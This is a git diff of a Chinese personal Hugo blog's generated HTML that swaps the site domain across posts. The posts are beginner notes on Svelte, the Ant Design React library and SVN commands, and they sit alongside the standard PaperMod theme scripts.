dev</p><p>修改src\App.svelte和src\main.js</p><hr><pre><code>&lt;script&gt;
+    let name = 'world'
+&lt;/script&gt;
+&lt;h1&gt;Hello {name}!&lt;/h1&gt;
+</code></pre><p>导入组件</p><pre><code>import Hallo from './hallo.svelte'
+...
+&lt;Hallo/&gt;
 </code></pre><p>如果想将HTML渲染到组件中可以使用
 let string = <code>&lt;div>hallo word&lt;/div></code>
-{@html string}</p><p>事件响应</p><pre><code>function aClick() {
-    count += 1
-}
-...
-&lt;button on:click={aClick}&gt;{count}&lt;/button&gt;</code></pre></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/sveltejs/>Sveltejs</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/82/><span class=title>« Prev</span><br><span>简单使用Ant Design组件库</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/79/><span class=title>Next »</span><br><span>算法学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+{@html string}</p><p>事件响应</p><pre><code>function aClick() {
+    count += 1
+}
+...
+&lt;button on:click={aClick}&gt;{count}&lt;/button&gt;</code></pre></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/sveltejs/>Sveltejs</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/82/><span class=title>« Prev</span><br><span>简单使用Ant Design组件库</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/79/><span class=title>Next »</span><br><span>算法学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/82/index.html b/posts/82/index.html
index 40f8aa44..3c6a8e08 100644
--- a/posts/82/index.html
+++ b/posts/82/index.html
@@ -13,8 +13,8 @@
 yarn create react-app antd-demo-ts &ndash;template typescript
 Antd的样式使用了less作为开发语言
 第一个实例demo
-import 'antd/dist/antd.css';
import { DatePicker, Space } from 'antd';
ReactDOM.render(
<Space direction=&#34;vertical&#34;>
<DatePicker/>
</Space>,
document.getElementById('root'),
); "><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/82/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单使用Ant Design组件库"><meta property="og:description" content="Ant Design是蚂蚁金服技术沉淀出一套基于React的组件库和前端框架
+import 'antd/dist/antd.css'; import { DatePicker, Space } from 'antd'; ReactDOM.render( <Space direction=&#34;vertical&#34;> <DatePicker/> </Space>, document.getElementById('root'), ); "><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/82/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单使用Ant Design组件库"><meta property="og:description" content="Ant Design是蚂蚁金服技术沉淀出一套基于React的组件库和前端框架
 官网：https://ant.design/index-cn
 使用create-react-app初始项目
 yarn create react-app antd-demo
@@ -29,7 +29,7 @@
 yarn create react-app antd-demo-ts &ndash;template typescript
 Antd的样式使用了less作为开发语言
 第一个实例demo
-import 'antd/dist/antd.css';
import { DatePicker, Space } from 'antd';
ReactDOM.render(
<Space direction=&#34;vertical&#34;>
<DatePicker/>
</Space>,
document.getElementById('root'),
); "><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/82/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-08-10T23:03:00+00:00"><meta property="article:modified_time" content="2021-08-10T23:03:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单使用Ant Design组件库"><meta name=twitter:description content="Ant Design是蚂蚁金服技术沉淀出一套基于React的组件库和前端框架
+import 'antd/dist/antd.css'; import { DatePicker, Space } from 'antd'; ReactDOM.render( <Space direction=&#34;vertical&#34;> <DatePicker/> </Space>, document.getElementById('root'), ); "><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/82/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-08-10T23:03:00+00:00"><meta property="article:modified_time" content="2021-08-10T23:03:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单使用Ant Design组件库"><meta name=twitter:description content="Ant Design是蚂蚁金服技术沉淀出一套基于React的组件库和前端框架
 官网：https://ant.design/index-cn
 使用create-react-app初始项目
 yarn create react-app antd-demo
@@ -44,15 +44,15 @@
 yarn create react-app antd-demo-ts &ndash;template typescript
 Antd的样式使用了less作为开发语言
 第一个实例demo
-import 'antd/dist/antd.css';
import { DatePicker, Space } from 'antd';
ReactDOM.render(
<Space direction=&#34;vertical&#34;>
<DatePicker/>
</Space>,
document.getElementById('root'),
); "><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单使用Ant Design组件库","item":"https://xiaochenabc123.github.io/posts/82/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单使用Ant Design组件库","name":"简单使用Ant Design组件库","description":"Ant Design是蚂蚁金服技术沉淀出一套基于React的组件库和前端框架\n官网：https://ant.design/index-cn\n使用create-react-app初始项目\nyarn create react-app antd-demo\n运行\nyarn start\n安装antd组件库\nyarn add antd\n通过import { 组件名 } from \u0026ldquo;antd\u0026quot;方式导入antd组件\n导入antd css样式\n@import \u0026lsquo;~antd/dist/antd.css\u0026rsquo;;\n在typescript上使用\nyarn create react-app antd-demo-ts \u0026ndash;template typescript\nAntd的样式使用了less作为开发语言\n第一个实例demo\nimport 'antd/dist/antd.css';\rimport { DatePicker, Space } from 'antd';\rReactDOM.render(\r\u0026lt;Space direction=\u0026quot;vertical\u0026quot;\u0026gt;\r\u0026lt;DatePicker/\u0026gt;\r\u0026lt;/Space\u0026gt;,\rdocument.getElementById('root'),\r); ","keywords":["React","Ant Design"],"articleBody":"Ant Design是蚂蚁金服技术沉淀出一套基于React的组件库和前端框架\n官网：https://ant.design/index-cn\n使用create-react-app初始项目\nyarn create react-app antd-demo\n运行\nyarn start\n安装antd组件库\nyarn add antd\n通过import { 组件名 } from “antd\"方式导入antd组件\n导入antd css样式\n@import ‘~antd/dist/antd.css’;\n在typescript上使用\nyarn create react-app antd-demo-ts –template typescript\nAntd的样式使用了less作为开发语言\n第一个实例demo\nimport 'antd/dist/antd.css';\rimport { DatePicker, Space } from 'antd';\rReactDOM.render(\r,\rdocument.getElementById('root'),\r); ","wordCount":"50","inLanguage":"en","datePublished":"2021-08-10T23:03:00Z","dateModified":"2021-08-10T23:03:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/82/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>简单使用Ant Design组件库</h1><div class=post-meta><span title='2021-08-10 23:03:00 +0000 UTC'>2021-08-10</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/%e7%ae%80%e5%8d%95%e4%bd%bf%e7%94%a8Ant-Design%e7%bb%84%e4%bb%b6%e5%ba%93.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>Ant Design是蚂蚁金服技术沉淀出一套基于React的组件库和前端框架</p><p>官网：https://ant.design/index-cn</p><p>使用create-react-app初始项目</p><p>yarn create react-app antd-demo</p><p>运行</p><p>yarn start</p><p>安装antd组件库</p><p>yarn add antd</p><p>通过import { 组件名 } from &ldquo;antd"方式导入antd组件</p><p>导入antd css样式</p><p>@import &lsquo;~antd/dist/antd.css&rsquo;;</p><p>在typescript上使用</p><p>yarn create react-app antd-demo-ts &ndash;template typescript</p><p>Antd的样式使用了less作为开发语言</p><p>第一个实例demo</p><pre><code>import 'antd/dist/antd.css';
-import { DatePicker, Space } from 'antd';
-ReactDOM.render(
-  &lt;Space direction=&quot;vertical&quot;&gt;
-    &lt;DatePicker/&gt;
-  &lt;/Space&gt;,
-  document.getElementById('root'),
-);</code></pre></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/react/>React</a></li><li><a href=https://xiaochenabc123.github.io/tags/ant-design/>Ant Design</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/84/><span class=title>« Prev</span><br><span>SVN版本控制系统学习笔记</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/80/><span class=title>Next »</span><br><span>Svelte学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+import 'antd/dist/antd.css'; import { DatePicker, Space } from 'antd'; ReactDOM.render( <Space direction=&#34;vertical&#34;> <DatePicker/> </Space>, document.getElementById('root'), ); "><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单使用Ant Design组件库","item":"https://chenjunlinabc.github.io/posts/82/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单使用Ant Design组件库","name":"简单使用Ant Design组件库","description":"Ant Design是蚂蚁金服技术沉淀出一套基于React的组件库和前端框架\n官网：https://ant.design/index-cn\n使用create-react-app初始项目\nyarn create react-app antd-demo\n运行\nyarn start\n安装antd组件库\nyarn add antd\n通过import { 组件名 } from \u0026ldquo;antd\u0026quot;方式导入antd组件\n导入antd css样式\n@import \u0026lsquo;~antd/dist/antd.css\u0026rsquo;;\n在typescript上使用\nyarn create react-app antd-demo-ts \u0026ndash;template typescript\nAntd的样式使用了less作为开发语言\n第一个实例demo\nimport 'antd/dist/antd.css'; import { DatePicker, Space } from 'antd'; ReactDOM.render( \u0026lt;Space direction=\u0026quot;vertical\u0026quot;\u0026gt; \u0026lt;DatePicker/\u0026gt; \u0026lt;/Space\u0026gt;, document.getElementById('root'), ); ","keywords":["React","Ant Design"],"articleBody":"Ant Design是蚂蚁金服技术沉淀出一套基于React的组件库和前端框架\n官网：https://ant.design/index-cn\n使用create-react-app初始项目\nyarn create react-app antd-demo\n运行\nyarn start\n安装antd组件库\nyarn add antd\n通过import { 组件名 } from “antd\"方式导入antd组件\n导入antd css样式\n@import ‘~antd/dist/antd.css’;\n在typescript上使用\nyarn create react-app antd-demo-ts –template typescript\nAntd的样式使用了less作为开发语言\n第一个实例demo\nimport 'antd/dist/antd.css'; import { DatePicker, Space } from 'antd'; ReactDOM.render( , document.getElementById('root'), ); ","wordCount":"50","inLanguage":"en","datePublished":"2021-08-10T23:03:00Z","dateModified":"2021-08-10T23:03:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/82/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>简单使用Ant Design组件库</h1><div class=post-meta><span title='2021-08-10 23:03:00 +0000 UTC'>2021-08-10</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/%e7%ae%80%e5%8d%95%e4%bd%bf%e7%94%a8Ant-Design%e7%bb%84%e4%bb%b6%e5%ba%93.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>Ant Design是蚂蚁金服技术沉淀出一套基于React的组件库和前端框架</p><p>官网：https://ant.design/index-cn</p><p>使用create-react-app初始项目</p><p>yarn create react-app antd-demo</p><p>运行</p><p>yarn start</p><p>安装antd组件库</p><p>yarn add antd</p><p>通过import { 组件名 } from &ldquo;antd"方式导入antd组件</p><p>导入antd css样式</p><p>@import &lsquo;~antd/dist/antd.css&rsquo;;</p><p>在typescript上使用</p><p>yarn create react-app antd-demo-ts &ndash;template typescript</p><p>Antd的样式使用了less作为开发语言</p><p>第一个实例demo</p><pre><code>import 'antd/dist/antd.css';
+import { DatePicker, Space } from 'antd';
+ReactDOM.render(
+  &lt;Space direction=&quot;vertical&quot;&gt;
+    &lt;DatePicker/&gt;
+  &lt;/Space&gt;,
+  document.getElementById('root'),
+);</code></pre></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/react/>React</a></li><li><a href=https://chenjunlinabc.github.io/tags/ant-design/>Ant Design</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/84/><span class=title>« Prev</span><br><span>SVN版本控制系统学习笔记</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/80/><span class=title>Next »</span><br><span>Svelte学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/84/index.html b/posts/84/index.html
index d4e8bab0..16dc15db 100644
--- a/posts/84/index.html
+++ b/posts/84/index.html
@@ -31,8 +31,8 @@
 默认是更新到最新版本，也可以指定更新到哪个版本
 svn update -r 2 demo
 提交
-svn commit -m &ldquo;hello svn&rdquo;"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/84/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="SVN版本控制系统学习笔记"><meta property="og:description" content="SVN全名Subversion，即版本控制系统
